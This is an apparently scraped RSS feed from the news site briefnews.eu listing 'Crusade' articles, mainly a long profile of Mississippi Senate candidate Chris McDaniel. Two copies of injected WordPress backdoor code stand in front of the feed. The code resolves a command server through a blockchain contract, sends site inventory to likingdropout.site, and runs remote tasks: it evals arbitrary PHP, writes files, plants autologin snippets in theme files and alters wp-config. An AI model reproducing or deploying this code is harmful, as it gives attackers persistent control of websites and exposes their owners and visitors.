// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Crusade – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 15 Jan 2019 11:32:51 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Crusade – Brief News https://briefnews.eu 32 32 One Couple’s Tireless Crusade to Stop a Genetic Killer https://briefnews.eu/one-couples-tireless-crusade-to-stop-a-genetic-killer/ https://briefnews.eu/one-couples-tireless-crusade-to-stop-a-genetic-killer/#respond Tue, 15 Jan 2019 11:32:51 +0000 http://briefnews.eu/one-couples-tireless-crusade-to-stop-a-genetic-killer/ When Sonia Vallabh lost her mother to a rare disease, she and her husband, Eric Minikel, set out to find a cure.


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]]> https://briefnews.eu/one-couples-tireless-crusade-to-stop-a-genetic-killer/feed/ 0 Meet the Attorney on a Crusade to Toughen Up the GOP https://briefnews.eu/meet-the-attorney-on-a-crusade-to-toughen-up-the-gop/ https://briefnews.eu/meet-the-attorney-on-a-crusade-to-toughen-up-the-gop/#respond Thu, 29 Nov 2018 10:23:22 +0000 http://briefnews.eu/meet-the-attorney-on-a-crusade-to-toughen-up-the-gop/ The crowd hollers, whistles, waves miniature Mississippi state flags, the last in the union to include a Confederate battle emblem. It’s all for the 47-year-old attorney who channels their frustration against elitism and the perceived establishment, cultural sands that shift like the mulch beneath their standing ovation.

It is by far the most exuberant reaction to a Senate candidate at the Neshoba County Fair, aka Republican Woodstock. And on this humid day, it is the riotous center of America’s White Christian male aggrievement politics. Their hero, Chris McDaniel, is mounting a campaign that looks less like a candidacy than a crusade. A fight for the soul of the country, sure, but also revenge for an election four years ago he and his supporters thought they had won. He isn’t just taking on the Democrats, but also his fellow Republicans, and even Donald Trump, who’s backing his GOP rival. Surrounded on all sides, McDaniel speaks of decision points and fallen glory, of standing up despite stacked odds and, inevitably, of martyrdom.

Lest you think it’s confined to Mississippi, understand this is the same persecution complex that fuels White nationalists from Portland, Oregon, to Charlottesville, Virginia. It’s four straight years of rising hate crimes in America’s biggest cities, the largest spike coming in San Jose, California, a region that’s also home to a simmering Silicon Valley backlash against the #MeToo movement. It’s fellow U.S. Senate candidate Corey Stewart railing against torn-down Confederate monuments in Virginia, and Fox News host Laura Ingraham decrying a loss of national identity fed by demographic changes “foisted upon” the American people as if non-White citizens were interlopers.

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They’re losing — running third in a three-person race, according to the polls. But with McDaniel’s war on liberalism and what he sees as a tepid conservatism, winning isn’t entirely the point. “Now is our time of choosing. Will you be fighters or cowards?” McDaniel asks the crowd. “Many years from now, let them speak of us, of these brave few who stood one last time.”

***

Militaristic fervor, veneration of the past, forceful fear of an impending future: They are all traits of the politics of modern populism, one that in Mississippi mixes Christian faith with a nostalgic White manifest destiny.

Let’s step back to the two conversion moments in McDaniel’s life. The first was in 1980, when a teenage McDaniel watched a presidential hopeful named Ronald Reagan at the same Neshoba County stage — next to McDaniel’s father, in fact — give a controversial embrace of “states’ rights.” The speech was attacked as a coded appeal to racism, and it was the genesis of the younger McDaniel’s embrace of outsiderism.

The second took place far from any cameras, on the side of a lonesome two-lane Mississippi highway in July 1998, after his father, Carlos, was in a devastating car accident with a tractor-trailer while driving in front of Chris. “I was with him when he died,” McDaniel says, the sound of grinding metal and gruesome groans seared into his mind forever.

Up until that point, McDaniel, 28 years old and only days from his wedding, had lived a life in his father’s image. The younger Reaganite grew up in “The Free State of Jones,” so called because the Mississippi county opposed the Confederacy during the Civil War. He was a 3-point marksman point guard who played basketball at Jones County Junior College, where his father was a well-liked health instructor for more than three decades. He attended William Carey University and the University of Mississippi School of Law, clerked with a U.S. District Court judge and was on his way to becoming a partner at a law firm in his hometown of Laurel, where he still lives today with his wife and three kids. But the accident that summer night shook him, taking away the most important influence of his life. “I was mad at God. I was mad at myself,” the lifelong Southern Baptist says.

As Reagan’s speech had confirmed his political belief, the accident solidified a spiritual second chapter — one in which he resolved to live fearlessly. “I had to come out of that. And when I did, I felt liberated,” he says. He became a conservative radio talk show host in Hattiesburg in 2004, a platform that propelled him in 2007 to a state Senate seat, from which he led bills to curb illegal immigration and allow student-led school prayers. His sway was evident when then-Lt. Gov. Phil Bryant asked the freshman senator to stop a troublesome redistricting bill in its tracks — and McDaniel succeeded. He was named the 2010 Citizen of the Year by the Laurel Leader-Call and a “Rising Star” in the Republican Party by The Clarion-Ledger in Jackson.

Our philosophy has been watered-down now, to the point where we are now a party of pastels.

Chris McDaniel

Then he had the audacity to challenge seven-term incumbent U.S. Sen. Thad Cochran. While before he was seen as “an articulate spokesman for conservatism,” the establishment turned on McDaniel, says Ryan S. Walters, who wrote a book about the election titled Remember Mississippi. “All of a sudden, he was [portrayed as] a radical, a fanatic, a bomb-thrower,” says Walters, who is now a policy writer for the McDaniel campaign.

In person, McDaniel comes across as reasonable, passionate, doggedly insistent and likable. But his own words condemn him: A married man who talks of unflappable Christian principles, he joked on-air about wanting to learn only enough Spanish to ask for the bathroom and hit on women he called “mamacitas.” In 2014, BuzzFeed surfaced old recordings from McDaniel’s talk show, in which he also decried a “homosexual agenda,” said a female candidate for Alabama governor was using her “breasts” to run for office and proclaimed that “our culture” would be lost if immigration continued.

Despite those revelations, McDaniel managed to beat Cochran by half a percentage point in the first round of primary voting. And here is the beginning of his electoral aggrievement: Since neither candidate reached the 50 percent mark, Mississippi law requires a runoff — and Cochran prevailed, thanks in part to his courting crossover Democrats. McDaniel’s backers unsuccessfully challenged the result in court, accusing Team Cochran of voter fraud, as Democratic primary voters were not allowed to turn around and vote in the GOP runoff. His followers often bring up unsolicited the “stolen” election, rhetoric of a rigged system now commonplace on all sides of the political spectrum.

***

McDaniel says he learned “where the traps are” from that race. Fueling him now is a super PAC that didn’t exist last time around, also called Remember Mississippi, which had raised nearly $ 1.5 million as of June. Again he’s facing the establishment in Sen. Cindy Hyde-Smith, chosen by the governor to replace Cochran earlier this year after the ailing incumbent retired. The new twist is a credible Democrat in the race: former U.S. Secretary of Agriculture Mike Espy, who would be the state’s first African-American senator. All three will face off on Nov. 6 in a “jungle primary,” with another nationally dissected runoff likely three weeks later. Both Espy and Hyde-Smith declined to comment for this story, with Hyde-Smith declaring she would rather “stay on the high road.”

Trump, who rode a McDaniel-style attitude to the White House, endorsed Hyde-Smith with an August tweet. “I don’t think Trump is against the insurgency candidates. I think [Senate Majority Leader] Mitch McConnell forces him to play the political game. We’re trying to make it possible one day so that he never has to play games with those people again,” McDaniel says. While political gurus believe Hyde-Smith is the much safer bet to beat Espy, the excitement around McDaniel could prove powerful when antiestablishment candidates on all sides of the political spectrum are thriving. An NBC News poll released last week found the trio tightly bunched: Espy at 25 percent, Hyde-Smith at 24 percent and McDaniel at 19 percent.

McDaniel’s campaign stances mimic libertarian-leaning Republicans like Ted Cruz and Rand Paul, often centered on cutting government spending. He generally opposes tariffs but defends a brewing trade war with China and others as Trump using “an ace in the hole” to force a long-term change with short-term tactics. Outside of a small-government philosophy, his focus is mostly cultural. He makes it a point to support the current Mississippi state flag, which his base sees as honoring Southern heritage and which others call racist for its use of the Confederate battle emblem. In August, he started a Twitter debate over whether Gen. Robert E. Lee was misunderstood, arguing incorrectly that Lee was against both secession and slavery — a whitewashing of Civil War history common among Confederate romanticizers.

His most consistent trait is playing the underdog even as the GOP controls most statehouses and every branch of federal government. “That’s my point: Republicans control those seats. Conservatives do not,” he argues. “We have a numerical advantage from a Republican standpoint, but our philosophy has been watered-down now, to the point where we are now a party of pastels.”

***

And then there’s his faith. Although Christianity remains the dominant force in religion and politics — 70 percent of Americans identify as Christian, while 91 percent of Congress does — many evangelical conservatives feel as if they have lost the war for America’s soul. Pastors warn of a culture becoming increasingly accepting of abortion rights and gay rights. Three-quarters of White evangelicals feel like things have gotten worse since 1950, according to Public Religion Research Institute (PRRI) surveys, while a similar number feel that America will be worse off if projections hold and White people become a minority this century.

“There is real evidence White evangelicals are losing,” says Robert P. Jones, the CEO of PRRI, shifting them from “values” voters to “nostalgia” voters. “They are really animated by trying to turn the clock back to a time where their values on things were more widely shared in the country.”

He’s far from the only one, but McDaniel has made an art form out of taking that feeling of spiritual persecution and converting it into a political force, sprinkling his county fair speech with biblical allusions. In the battle for spiritual and political piety, the actual result matters less than the decision to fight. After all, even Jesus Christ experienced his greatest victory in death. “Will this be a day of a funeral or a day of resurrection?” McDaniel asks, building toward a roiling conclusion: “Never, ever, ever, forget the great state of Mississippi.”

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]]> https://briefnews.eu/meet-the-attorney-on-a-crusade-to-toughen-up-the-gop/feed/ 0 TV’s the winner as record numbers join the crusade https://briefnews.eu/tvs-the-winner-as-record-numbers-join-the-crusade/ https://briefnews.eu/tvs-the-winner-as-record-numbers-join-the-crusade/#respond Sun, 01 Jul 2018 08:01:58 +0000 http://briefnews.eu/tvs-the-winner-as-record-numbers-join-the-crusade/

